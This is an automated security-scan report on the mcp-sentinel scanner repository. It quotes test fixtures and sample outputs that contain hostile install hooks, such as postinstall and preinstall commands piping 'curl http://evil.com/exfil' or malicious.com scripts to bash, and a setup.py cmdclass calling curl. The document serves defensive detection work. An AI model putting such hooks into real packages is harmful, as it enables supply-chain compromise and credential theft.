Summary
beejak/mcp-sentinel v2026-03-24 was classified as CRITICAL RISK with a risk score of 51665. Sigil detected 3622 findings across 312 files, covering phases including provenance, code patterns, credential access, network exfiltration, obfuscation, install hooks. Review the findings below before installing this package.
Package description: 🛡️ Enterprise-grade security scanner for Model Context Protocol (MCP) servers. Detects secrets, injection flaws, and vulnerabilities.
v2026-03-24
27 March 2026, 06:01 UTC
by Sigil Bot
Risk Score
51665
Findings
3622
Files Scanned
312
Provenance
Repository
https://github.com/beejak/mcp-sentinelScanned From
https://github.com/beejak/mcp-sentinel.gitFindings by Phase
Phase Ordering
Phases are ordered by criticality, with the most dangerous at the top. Click any phase header to expand or collapse its findings. Critical phases are expanded by default.
install-setup-py-cmdclass
CRITICALsetup.py overrides cmdclass — may execute code during install
repo/docs/TEST_COVERAGE.md:191
| `test_encoded_payload_code_snippet_captured` | Code snippet contains `base64` |
| `test_detect_setup_py_cmdclass` | `cmdclass={'install': CustomInstall}` with shell call in setup.py → HIGH |
| `test_detect_npm_postinstall_hook` | `"postinstall": "curl ... \| bash"` in package.json → HIGH |Why was this flagged?
This package overrides Python's setup.py cmdclass, which allows arbitrary code to execute during pip install. This is the primary attack vector for malicious PyPI packages — attackers use it to steal credentials, install backdoors, or download additional payloads before the developer ever runs the code. Rated CRITICAL because it executes automatically with no user interaction required.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/docs/TEST_COVERAGE.md:192
| `test_detect_setup_py_cmdclass` | `cmdclass={'install': CustomInstall}` with shell call in setup.py → HIGH |
| `test_detect_npm_postinstall_hook` | `"postinstall": "curl ... \| bash"` in package.json → HIGH |
| `test_detect_subprocess_curl_in_setup` | `subprocess.call(['curl', ...])` in setup.py → HIGH |Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/docs/TEST_COVERAGE.md:194
| `test_detect_subprocess_curl_in_setup` | `subprocess.call(['curl', ...])` in setup.py → HIGH |
| `test_no_false_positive_npm_build_hook` | `"postinstall": "node ./scripts/build.js"` not flagged |
| `test_detect_requests_in_setup_py` | `requests.post(...)` inside setup.py → CRITICAL |Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/docs/TEST_COVERAGE.md:225
| `test_detect_bcc_add_header` | `msg.add_header('Bcc', 'spy@...')` → HIGH |
| `test_detect_npm_preinstall_hook` | `"preinstall": "curl ... \| bash"` → HIGH |
| `test_detect_index_url_config_override` | `index-url = https://my.private-registry.io/` in pip.conf → MEDIUM |Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/docs/TEST_COVERAGE.md:192
| `test_detect_setup_py_cmdclass` | `cmdclass={'install': CustomInstall}` with shell call in setup.py → HIGH |
| `test_detect_npm_postinstall_hook` | `"postinstall": "curl ... \| bash"` in package.json → HIGH |
| `test_detect_subprocess_curl_in_setup` | `subprocess.call(['curl', ...])` in setup.py → HIGH |Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/docs/TEST_COVERAGE.md:225
| `test_detect_bcc_add_header` | `msg.add_header('Bcc', 'spy@...')` → HIGH |
| `test_detect_npm_preinstall_hook` | `"preinstall": "curl ... \| bash"` → HIGH |
| `test_detect_index_url_config_override` | `index-url = https://my.private-registry.io/` in pip.conf → MEDIUM |Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-pip-setup-exec
CRITICALsetup.py executes code at install time
repo/docs/archive/historical/IMPLEMENTATION.md:24
- `audit` - Comprehensive audit (Phase 2/4)
- `init` - Configuration setup (Phase 2)
- `whitelist` - Whitelist management (Phase 4)Why was this flagged?
This setup.py calls subprocess, os.system, exec, or eval during package installation. Legitimate packages rarely need to execute arbitrary commands at install time. This pattern is commonly used by malicious packages to download and run payloads, exfiltrate environment variables, or establish persistence. Rated CRITICAL because it runs with the installer's full permissions.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/docs/archive/phase2/PHASE_2_6_COMPLETE.md:211
"scripts": {
"postinstall": "curl http://malicious.com/script.sh | bash"
}Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/docs/archive/phase2/PHASE_2_6_COMPLETE.md:193
1. **Malicious Install Scripts** (preinstall, postinstall)
- `curl | bash`, `wget | sh`
- Remote code execution patternsWhy was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/docs/archive/phase2/PHASE_2_6_COMPLETE.md:211
"scripts": {
"postinstall": "curl http://malicious.com/script.sh | bash"
}Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/docs/archive/phase2/PHASE_2_6_FINAL_REVIEW.md:86
**Detection Coverage:**
- ✅ `curl \| bash`, `wget \| sh` remote execution
- ✅ `eval()` in install scriptsWhy was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/docs/archive/releases/RELEASE_NOTES_v2.6.0.md:57
#### Malicious Install Scripts (7 patterns)
- `curl | bash` and `wget | sh` - Remote code execution in install hooks
- `eval()` in scripts - Code injection via package.jsonWhy was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/rust-legacy/docs/IDE_INTEGRATION_PLAN.md:668
# Install Rust for Language Server development
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/rust-legacy/docs/TEST_STRATEGY.md:1020
# Install Ollama for local LLM tests
curl -fsSL https://ollama.com/install.sh | sh
ollama pull llama3.2:8bWhy was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/rust-legacy/docs/releases/RELEASE_NOTES_v2.6.0.md:57
#### Malicious Install Scripts (7 patterns)
- `curl | bash` and `wget | sh` - Remote code execution in install hooks
- `eval()` in scripts - Code injection via package.jsonWhy was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/rust-legacy/docs/samples/scan_results_v2.6.0.json:37
},
"code_snippet": "\"postinstall\": \"curl https://malicious.com/install.sh | bash\"",
"impact": "Arbitrary code execution during npm install. Attacker can steal credentials, inject backdoors, or compromise the entire system.",Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/rust-legacy/docs/samples/terminal_output_v2.6.0.txt:61
Code:
> "postinstall": "curl https://malicious.com/install.sh | bash"
Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/rust-legacy/docs/samples/terminal_output_v2.6.0.txt:61
Code:
> "postinstall": "curl https://malicious.com/install.sh | bash"
Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/rust-legacy/src/detectors/package_confusion.rs:331
"scripts": {
"preinstall": "curl http://malicious.com/script.sh | bash"
}Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/rust-legacy/src/detectors/package_confusion.rs:331
"scripts": {
"preinstall": "curl http://malicious.com/script.sh | bash"
}Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/rust-legacy/src/providers/ollama.rs:23
//! # Install Ollama
//! curl -fsSL https://ollama.com/install.sh | sh
//!Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/rust-legacy/src/providers/ollama.rs:195
To install Ollama:\n\
curl -fsSL https://ollama.com/install.sh | sh\n\n\
To start Ollama:\n\Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/rust-legacy/tests/integration_phase_2_6.rs:98
"scripts": {
"preinstall": "curl http://malicious.com/script.sh | bash",
"postinstall": "node scripts/setup.js"Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/rust-legacy/tests/integration_phase_2_6.rs:99
"preinstall": "curl http://malicious.com/script.sh | bash",
"postinstall": "node scripts/setup.js"
}Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/rust-legacy/tests/integration_phase_2_6.rs:98
"scripts": {
"preinstall": "curl http://malicious.com/script.sh | bash",
"postinstall": "node scripts/setup.js"Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-setup-py-cmdclass
CRITICALsetup.py overrides cmdclass — may execute code during install
repo/tests/unit/test_supply_chain.py:144
async def test_detect_setup_py_cmdclass(detector):
content = "class CustomInstall(install):\n def run(self):\n os.system('curl http://evil.com')\n\nsetup(cmdclass={'install': CustomInstall})"
vulns = await detector.detect(Path("setup.py"), content)Why was this flagged?
This package overrides Python's setup.py cmdclass, which allows arbitrary code to execute during pip install. This is the primary attack vector for malicious PyPI packages — attackers use it to steal credentials, install backdoors, or download additional payloads before the developer ever runs the code. Rated CRITICAL because it executes automatically with no user interaction required.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/tests/unit/test_supply_chain.py:150
async def test_detect_npm_postinstall_hook(detector):
content = '{"scripts": {"postinstall": "curl http://evil.com/exfil | bash"}}'
vulns = await detector.detect(Path("package.json"), content)Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/tests/unit/test_supply_chain.py:163
async def test_no_false_positive_npm_build_hook(detector):
content = '{"scripts": {"postinstall": "node ./scripts/build.js"}}'
vulns = await detector.detect(Path("package.json"), content)Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/tests/unit/test_supply_chain.py:403
async def test_detect_npm_preinstall_hook(detector):
content = '{"scripts": {"preinstall": "curl http://evil.com | bash"}}'
vulns = await detector.detect(Path("package.json"), content)Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-pip-setup-exec
CRITICALsetup.py executes code at install time
repo/tests/unit/test_supply_chain.py:144
async def test_detect_setup_py_cmdclass(detector):
content = "class CustomInstall(install):\n def run(self):\n os.system('curl http://evil.com')\n\nsetup(cmdclass={'install': CustomInstall})"
vulns = await detector.detect(Path("setup.py"), content)Why was this flagged?
This setup.py calls subprocess, os.system, exec, or eval during package installation. Legitimate packages rarely need to execute arbitrary commands at install time. This pattern is commonly used by malicious packages to download and run payloads, exfiltrate environment variables, or establish persistence. Rated CRITICAL because it runs with the installer's full permissions.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/tests/unit/test_supply_chain.py:150
async def test_detect_npm_postinstall_hook(detector):
content = '{"scripts": {"postinstall": "curl http://evil.com/exfil | bash"}}'
vulns = await detector.detect(Path("package.json"), content)Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/tests/unit/test_supply_chain.py:403
async def test_detect_npm_preinstall_hook(detector):
content = '{"scripts": {"preinstall": "curl http://evil.com | bash"}}'
vulns = await detector.detect(Path("package.json"), content)Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
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